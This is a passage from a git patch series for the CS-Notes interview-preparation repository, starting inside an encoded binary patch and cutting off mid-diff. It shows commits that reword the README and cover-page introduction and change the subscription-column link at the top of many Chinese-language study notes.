z`|ia?=LjK178~PFKol*=+DcO#oWB5)8r}c5s0G>TmPhRLhjvNeo64BwhYjg~O#N35
z!XF4-M`wYW-f6T|e}9$vS}V#gz&ojgJ^RXu6Gmb_ODThwUhOaVq|0PmhzW?))XWoo
zK1<V>1$9?al-tv-DTHijcSRRgJ{*uE?>!V}qvyNgel3Q;1SRQzYgcqorkH?|4rfal
zU39<%9YIJLWQnIIsB>`)j|1x39?qQ`G5QthFgHMZ!xYD(rUx!K>W%1&dRq6Ar0ysT
zsSN0ERPvv?tP&)YHs*KYotdBsO?!2)fF<3*g3K0tWaPQ*F7L_!43msZk5IJrnLu-q
zw7j_pKphlFy><?C8>rZRzkmShhO_^c=3>;{$UHqdS$aK-?X(*}DUksU6Bg($?}m-c
z#IJE$GxShMzO^ot?Xk;T9HY)3ysGC#RyFI|=_gH<BH$HZ<rA%@O(l6UbO7?;#$Xzj
zB=OwWAmLQ^r3!+i$HL@Fk4(GJHXejVADWo+bc0|fpw2BK*a+OXU$nCst%tnxRcjS9
z@Fho0L5)bjqkJC|!h0D?$dlQ#HOC?#3!{P+U%<B>*Ailz!lJ63^g+?p!)-&a0YH(J
zBn4dKC+34_diO5*^uwsBl%tZ>em_QP9}11KWW73jx_vxyOz3RLgXImkxF$>RbY&*I
zTULAFQlitwf!L|CzYll-JSvbd&iz{tVgiy}7FPYp_(Zyw(Sx{MGHpM0Vc?CZW_PlT
z*J6(t!)GB*JpxQfac`Z}6z>yqgqt_+*ETi`{J7!2+XaX@*$1Snc(J$QSseWx%$&<=
zf-7+i0mfEj;BubYfpwdwLU(`7)aAX3P+_ta%LFj`@1<aSrjU*!MW@vOlmv6H42~z@
zR05JzQLKS4Sg32abTOu`4(CfK((SnGxp!iaY;XirL<g~M{+yU|RDwoIjOA>$hA^)A
z4B6~f&#d+t(>LU`Ddn?Lca7NzUiJ38Z{2{4=e?}Sc>3g#*z9coc{T*gCwV00*agtp
z()1yCgMhN4?f^<LgP=9^i!F`i0(i{PFciHBjo}9Z<XVyBKvOoZ@jYM6Qx3b@Yal58
zzK>tStHg{NtT3Kp$jnw8?tk2b%eOGp3ldIAw(n@dmoCP2xkwlV=`dFo(~yG-={+~~
zps!wIhRyuVo}*uiqbtHwu0>BbDUN3;k+$2ftB6$KvHT3V5cnvyQ8^rxG3e$<DewTC
z*HZ08Yb4^*#$EGv^~9LIjVD6!cT*&aWC+1d-adj1lZO+3e2H<~)d?-`!F3bA4F0AN
zKnik&GAa44=KH6r4%O<GKDw;y$@;~c*OcjMmWWXdGDUDFDh<zcL5Mmq$GSqX`|dTi
z_ee#L2?@;TPA9L$`Zex%KJ}_|CaltI5;n3Bx~Onj2w6NHP|{E?y@DXR{(1DE{%m)C
z29nNi?=7=95ox)9u^K2NWGNk@R7qY6m>Kr_TEBn(S(*##+Nr^peKw17#7VQVsL~43
zT=4bVzW1}wmVL?^j9%_-I$6=kf)=#}7tHD-RIa!-O3(#xjmD@){lkMh8+PEMezVJV
z<b4f)uvIl50KHh9pECCr@_ce0CcVoyS^scHs_N5J%Sx4Ej0Nk>C9owMOlUH)&3xGH
zV|g%?zkU}8TY!hNEUoHSe%voCCp;?Ov}N-?c1tt+?TbwHAa+Y=-o^(&lWT&@3$<Tc
z5)Cb&V>t<bHmE%cxmQ%k+P8}(b3zw0wN2o|u67g~p6jmuS_ch~WEyd5m%9LzMGcAs
zz%;Pw(x&R74PWblcQ~PpzWJ`E&BF|#VwE-j1f{$aRE@7GD`zRmWXX8373u7*z2Ii5
zkPv&TfYhY5RN7c>DEs%G<Jsy0w(^Nw%Oj>`<r|d*#g;RKp7BeSi%tAsZG{fj%Lq_5
zBVV1x#(7npeOiRc*rveBDHRI!vnbgQns>XIj=yQ<f4q5+bH~<MM%y&&pk`Z{kZoS5
zQ7Q!0rnb$*+?Fy@3r;mJ>$LOzrP?}X=hVR4ywn=ekYL%6&6jI3j&6x`Tf5Wk62srV
zd|LNNZhIlA{lt9c(c<i5E%p@`v**R-ZD%KRBZ}KON2Q15I_gf|Y&EzvR{kiqN8|m}
z%?k>&=?MFnVtdb=j<XH-MmNi}TyKk2&pN%Yqe?_hHp)6p-Ii$7QS7}r?U!ox{iNc(
zqzsJOi-Dw?a))xEL%P3%Crt(8#lHEAZJ-SZ?yuk(v2Ksia20yQi-J13<K2nQdx@&I
zTe_N+p>rQIN|(Ag_cO#YGM=K0GE=8AU**NmD=KEYDvx$2fGX8Jj>WSw23*dAmhOh3
z?#9{fhfCd$CY%iNId<xo>fxSdo1PZfS*YDpNpfzD?dh;|ZoARlRn^no($h24(>vSK
zx75=Q_lgvH2ef+!O?w~P^yUq@^$z>@jvVcM65BhP);pHl`?RWeyrp+ysCRO<_t{eK
zbGUCxp>JBdZ^pFmg-zeATi;9nzE?;4UdQ&$rS-kZ?R#6*_pYUHeyDF@w(tE?-v_vV
zQKA2%cK;{S{?9i3OK$yN{QJKi?f(|rzns?pJ-7cyRsYYH{$E4=zi0c!OZ|Uf5r7wg
zIwHtSgt8UE?jj^WBymh687D$t6-niZnxxPGQH*!l>mNWk9(**2;JW`vKtPz=Vf)|%
Tz?T2g|9|QKzx4l~)c=12@LRw@

literal 0
HcmV?d00001


From f19bbbbc507ce744716ea0870a5e35222101de52 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 29 Jan 2019 16:27:08 +0800
Subject: [PATCH 072/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 44d489db..28612365 100644
--- a/README.md
+++ b/README.md
@@ -3,7 +3,7 @@
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
     <br> <br>
-    本仓库包含了技术面试必备的基础知识，这些内容是我从众多计算机经典书籍总结而来，内容浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握这些内容，从而节省宝贵的面试复习时间。如果你觉得本仓库对你有帮助，可以考虑订阅我的 <a href="https://xiaozhuanlan.com/CyC2018">专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
+    本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅我 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
 </div> 
 
 <br>

From ed5f91002093bde74ad6d652789edb8e386cfcbf Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 29 Jan 2019 16:27:35 +0800
Subject: [PATCH 073/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 28612365..d513b96c 100644
--- a/README.md
+++ b/README.md
@@ -3,7 +3,7 @@
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
     <br> <br>
-    本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅我 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
+    本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
 </div> 
 
 <br>

From a70a011c1159fdb24dc9a9255ddc45b35180c5b2 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 29 Jan 2019 16:28:12 +0800
Subject: [PATCH 074/100] Update _coverpage.md

---
 docs/_coverpage.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/_coverpage.md b/docs/_coverpage.md
index e4a57c42..9b430bf8 100644
--- a/docs/_coverpage.md
+++ b/docs/_coverpage.md
@@ -2,7 +2,7 @@
 
 # CS-Notes
 
-- 本仓库包含了技术面试必备的基础知识，这些内容是我从众多计算机经典书籍总结而来，内容浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握这些内容，从而节省宝贵的面试复习时间。如果你觉得本仓库对你有帮助，可以考虑订阅我的 <a href="https://xiaozhuanlan.com/CyC2018">专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
+- 本项目包含了技术面试必备的基础知识，这些内容从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅我 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
 
 <span id="busuanzi_container_site_pv">Site View : <span id="busuanzi_value_site_pv">
 

From bff08662677ae0aca2edf34b211bc1fdda1f9d9d Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 29 Jan 2019 16:34:32 +0800
Subject: [PATCH 075/100] auto commit

---
 docs/notes/Docker.md                 | 2 +-
 docs/notes/Git.md                    | 2 +-
 docs/notes/HTTP.md                   | 2 +-
 docs/notes/Java IO.md                | 2 +-
 docs/notes/Java 基础.md              | 2 +-
 docs/notes/Java 容器.md              | 2 +-
 docs/notes/Java 并发.md              | 2 +-
 docs/notes/Java 虚拟机.md            | 2 +-
 docs/notes/Leetcode 题解.md          | 2 +-
 docs/notes/Leetcode-Database 题解.md | 2 +-
 docs/notes/Linux.md                  | 2 +-
 docs/notes/MySQL.md                  | 2 +-
 docs/notes/Redis.md                  | 2 +-
 docs/notes/SQL.md                    | 2 +-
 docs/notes/Socket.md                 | 2 +-
 docs/notes/代码可读性.md             | 2 +-
 docs/notes/代码风格规范.md           | 2 +-
 docs/notes/分布式.md                 | 2 +-
 docs/notes/剑指 offer 题解.md        | 2 +-
 docs/notes/攻击技术.md               | 2 +-
 docs/notes/数据库系统原理.md         | 2 +-
 docs/notes/构建工具.md               | 2 +-
 docs/notes/正则表达式.md             | 2 +-
 docs/notes/消息队列.md               | 2 +-
 docs/notes/算法.md                   | 2 +-
 docs/notes/系统设计基础.md           | 2 +-
 docs/notes/缓存.md                   | 2 +-
 docs/notes/计算机操作系统.md         | 2 +-
 docs/notes/计算机网络.md             | 2 +-
 docs/notes/设计模式.md               | 2 +-
 docs/notes/集群.md                   | 2 +-
 docs/notes/面向对象思想.md           | 2 +-
 32 files changed, 32 insertions(+), 32 deletions(-)

diff --git a/docs/notes/Docker.md b/docs/notes/Docker.md
index 1ccabb6b..044a165f 100644
--- a/docs/notes/Docker.md
+++ b/docs/notes/Docker.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、解决的问题](#一解决的问题)
 * [二、与虚拟机的比较](#二与虚拟机的比较)
diff --git a/docs/notes/Git.md b/docs/notes/Git.md
index 01c4e642..f678c0f8 100644
--- a/docs/notes/Git.md
+++ b/docs/notes/Git.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [集中式与分布式](#集中式与分布式)
 * [中心服务器](#中心服务器)
diff --git a/docs/notes/HTTP.md b/docs/notes/HTTP.md
index 905228b2..ec9362b5 100644
--- a/docs/notes/HTTP.md
+++ b/docs/notes/HTTP.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一 、基础概念](#一-基础概念)
     * [URI](#uri)
diff --git a/docs/notes/Java IO.md b/docs/notes/Java IO.md
index 211afcc3..2d89603f 100644
--- a/docs/notes/Java IO.md	
+++ b/docs/notes/Java IO.md	
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概览](#一概览)
 * [二、磁盘操作](#二磁盘操作)
diff --git a/docs/notes/Java 基础.md b/docs/notes/Java 基础.md
index 8fb816a5..65aa0338 100644
--- a/docs/notes/Java 基础.md	
+++ b/docs/notes/Java 基础.md	
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、数据类型](#一数据类型)
     * [包装类型](#包装类型)
diff --git a/docs/notes/Java 容器.md b/docs/notes/Java 容器.md
index fb46fe1c..a6f2a2e1 100644
--- a/docs/notes/Java 容器.md	
+++ b/docs/notes/Java 容器.md	
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概览](#一概览)
     * [Collection](#collection)
diff --git a/docs/notes/Java 并发.md b/docs/notes/Java 并发.md
index 60f751ff..0d53dc9b 100644
--- a/docs/notes/Java 并发.md	
+++ b/docs/notes/Java 并发.md	
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、线程状态转换](#一线程状态转换)
     * [新建（New）](#新建new)
diff --git a/docs/notes/Java 虚拟机.md b/docs/notes/Java 虚拟机.md
index bfaab9c6..a74e19c5 100644
--- a/docs/notes/Java 虚拟机.md	
+++ b/docs/notes/Java 虚拟机.md	
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、运行时数据区域](#一运行时数据区域)
     * [程序计数器](#程序计数器)
diff --git a/docs/notes/Leetcode 题解.md b/docs/notes/Leetcode 题解.md
index 5acc6093..6fdece2d 100644
--- a/docs/notes/Leetcode 题解.md	
+++ b/docs/notes/Leetcode 题解.md	
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [算法思想](#算法思想)
     * [双指针](#双指针)
diff --git a/docs/notes/Leetcode-Database 题解.md b/docs/notes/Leetcode-Database 题解.md
index b8a2a456..932b8149 100644
--- a/docs/notes/Leetcode-Database 题解.md	
+++ b/docs/notes/Leetcode-Database 题解.md	
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [595. Big Countries](#595-big-countries)
 * [627. Swap Salary](#627-swap-salary)
diff --git a/docs/notes/Linux.md b/docs/notes/Linux.md
index 60c7b45a..69371004 100644
--- a/docs/notes/Linux.md
+++ b/docs/notes/Linux.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、常用操作以及概念](#一常用操作以及概念)
     * [快捷键](#快捷键)
diff --git a/docs/notes/MySQL.md b/docs/notes/MySQL.md
index f0b95287..4fbe6f0d 100644
--- a/docs/notes/MySQL.md
+++ b/docs/notes/MySQL.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、索引](#一索引)
     * [B+ Tree 原理](#b-tree-原理)
diff --git a/docs/notes/Redis.md b/docs/notes/Redis.md
index 6309ccd0..b7feaa69 100644
--- a/docs/notes/Redis.md
+++ b/docs/notes/Redis.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、数据类型](#二数据类型)
diff --git a/docs/notes/SQL.md b/docs/notes/SQL.md
index 01d4d316..93d1aee2 100644
--- a/docs/notes/SQL.md
+++ b/docs/notes/SQL.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、基础](#一基础)
 * [二、创建表](#二创建表)
diff --git a/docs/notes/Socket.md b/docs/notes/Socket.md
index d9281a48..91389125 100644
--- a/docs/notes/Socket.md
+++ b/docs/notes/Socket.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、I/O 模型](#一io-模型)
     * [阻塞式 I/O](#阻塞式-io)
diff --git a/docs/notes/代码可读性.md b/docs/notes/代码可读性.md
index f311bd57..4f20e27d 100644
--- a/docs/notes/代码可读性.md
+++ b/docs/notes/代码可读性.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、可读性的重要性](#一可读性的重要性)
 * [二、用名字表达代码含义](#二用名字表达代码含义)
diff --git a/docs/notes/代码风格规范.md b/docs/notes/代码风格规范.md
index 53f89cb8..cd4e0466 100644
--- a/docs/notes/代码风格规范.md
+++ b/docs/notes/代码风格规范.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 <!-- GFM-TOC -->
 
diff --git a/docs/notes/分布式.md b/docs/notes/分布式.md
index 32b35fe5..857f644d 100644
--- a/docs/notes/分布式.md
+++ b/docs/notes/分布式.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、分布式锁](#一分布式锁)
     * [数据库的唯一索引](#数据库的唯一索引)
diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 9d1f7e95..38fe4e25 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [3. 数组中重复的数字](#3-数组中重复的数字)
 * [4. 二维数组中的查找](#4-二维数组中的查找)
diff --git a/docs/notes/攻击技术.md b/docs/notes/攻击技术.md
index 6492ccef..d7f75c73 100644
--- a/docs/notes/攻击技术.md
+++ b/docs/notes/攻击技术.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、跨站脚本攻击](#一跨站脚本攻击)
 * [二、跨站请求伪造](#二跨站请求伪造)
diff --git a/docs/notes/数据库系统原理.md b/docs/notes/数据库系统原理.md
index bf9e4a6a..3fd3ae1c 100644
--- a/docs/notes/数据库系统原理.md
+++ b/docs/notes/数据库系统原理.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、事务](#一事务)
     * [概念](#概念)
diff --git a/docs/notes/构建工具.md b/docs/notes/构建工具.md
index bf2d284a..68ed4031 100644
--- a/docs/notes/构建工具.md
+++ b/docs/notes/构建工具.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、构建工具的作用](#一构建工具的作用)
 * [二、Java 主流构建工具](#二java-主流构建工具)
diff --git a/docs/notes/正则表达式.md b/docs/notes/正则表达式.md
index fa09d9d3..cce8bc91 100644
--- a/docs/notes/正则表达式.md
+++ b/docs/notes/正则表达式.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、匹配单个字符](#二匹配单个字符)
diff --git a/docs/notes/消息队列.md b/docs/notes/消息队列.md
index d8b9ca3a..3f574081 100644
--- a/docs/notes/消息队列.md
+++ b/docs/notes/消息队列.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、消息模型](#一消息模型)
     * [点对点](#点对点)
diff --git a/docs/notes/算法.md b/docs/notes/算法.md
index 6dffb776..01639aaf 100644
--- a/docs/notes/算法.md
+++ b/docs/notes/算法.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、前言](#一前言)
 * [二、算法分析](#二算法分析)
diff --git a/docs/notes/系统设计基础.md b/docs/notes/系统设计基础.md
index 452dc0f5..8a601505 100644
--- a/docs/notes/系统设计基础.md
+++ b/docs/notes/系统设计基础.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、性能](#一性能)
 * [二、伸缩性](#二伸缩性)
diff --git a/docs/notes/缓存.md b/docs/notes/缓存.md
index 60ed8458..95950dc6 100644
--- a/docs/notes/缓存.md
+++ b/docs/notes/缓存.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、缓存特征](#一缓存特征)
 * [二、LRU](#二lru)
diff --git a/docs/notes/计算机操作系统.md b/docs/notes/计算机操作系统.md
index 35aefa5f..3ed41754 100644
--- a/docs/notes/计算机操作系统.md
+++ b/docs/notes/计算机操作系统.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
     * [基本特征](#基本特征)
diff --git a/docs/notes/计算机网络.md b/docs/notes/计算机网络.md
index f74f90a7..fcd595fd 100644
--- a/docs/notes/计算机网络.md
+++ b/docs/notes/计算机网络.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
     * [网络的网络](#网络的网络)
diff --git a/docs/notes/设计模式.md b/docs/notes/设计模式.md
index 7ab01f70..71d49d93 100644
--- a/docs/notes/设计模式.md
+++ b/docs/notes/设计模式.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、创建型](#二创建型)
diff --git a/docs/notes/集群.md b/docs/notes/集群.md
index 1230ad1b..0de91f7b 100644
--- a/docs/notes/集群.md
+++ b/docs/notes/集群.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、负载均衡](#一负载均衡)
     * [负载均衡算法](#负载均衡算法)
diff --git a/docs/notes/面向对象思想.md b/docs/notes/面向对象思想.md
index 57494247..4070d460 100644
--- a/docs/notes/面向对象思想.md
+++ b/docs/notes/面向对象思想.md
@@ -1,4 +1,4 @@
-[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、三大特性](#一三大特性)
     * [封装](#封装)

From 945d7e659563845ff552f6d14463b0628609f646 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 29 Jan 2019 16:36:32 +0800
Subject: [PATCH 076/100] auto commit

---
 docs/notes/Docker.md                 | 2 +-
 docs/notes/Git.md                    | 2 +-
 docs/notes/HTTP.md                   | 2 +-
 docs/notes/Java IO.md                | 2 +-
 docs/notes/Java 基础.md              | 2 +-
 docs/notes/Java 容器.md              | 2 +-
 docs/notes/Java 并发.md              | 2 +-
 docs/notes/Java 虚拟机.md            | 2 +-
 docs/notes/Leetcode 题解.md          | 2 +-
 docs/notes/Leetcode-Database 题解.md | 2 +-
 docs/notes/Linux.md                  | 2 +-
 docs/notes/MySQL.md                  | 2 +-
 docs/notes/Redis.md                  | 2 +-
 docs/notes/SQL.md                    | 2 +-
 docs/notes/Socket.md                 | 2 +-
 docs/notes/代码可读性.md             | 2 +-
 docs/notes/代码风格规范.md           | 2 +-
 docs/notes/分布式.md                 | 2 +-
 docs/notes/剑指 offer 题解.md        | 2 +-
 docs/notes/攻击技术.md               | 2 +-
 docs/notes/数据库系统原理.md         | 2 +-
 docs/notes/构建工具.md               | 2 +-
 docs/notes/正则表达式.md             | 2 +-
 docs/notes/消息队列.md               | 2 +-
 docs/notes/算法.md                   | 2 +-
 docs/notes/系统设计基础.md           | 2 +-
 docs/notes/缓存.md                   | 2 +-
 docs/notes/计算机操作系统.md         | 2 +-
 docs/notes/计算机网络.md             | 2 +-
 docs/notes/设计模式.md               | 2 +-
 docs/notes/集群.md                   | 2 +-
 docs/notes/面向对象思想.md           | 2 +-
 32 files changed, 32 insertions(+), 32 deletions(-)

diff --git a/docs/notes/Docker.md b/docs/notes/Docker.md
index 044a165f..8d307a32 100644
--- a/docs/notes/Docker.md
+++ b/docs/notes/Docker.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、解决的问题](#一解决的问题)
 * [二、与虚拟机的比较](#二与虚拟机的比较)
diff --git a/docs/notes/Git.md b/docs/notes/Git.md
index f678c0f8..1b932ea9 100644
--- a/docs/notes/Git.md
+++ b/docs/notes/Git.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [集中式与分布式](#集中式与分布式)
 * [中心服务器](#中心服务器)
diff --git a/docs/notes/HTTP.md b/docs/notes/HTTP.md
index ec9362b5..0b1e7f45 100644
--- a/docs/notes/HTTP.md
+++ b/docs/notes/HTTP.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一 、基础概念](#一-基础概念)
     * [URI](#uri)
diff --git a/docs/notes/Java IO.md b/docs/notes/Java IO.md
index 2d89603f..5cd2c164 100644
--- a/docs/notes/Java IO.md	
+++ b/docs/notes/Java IO.md	
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
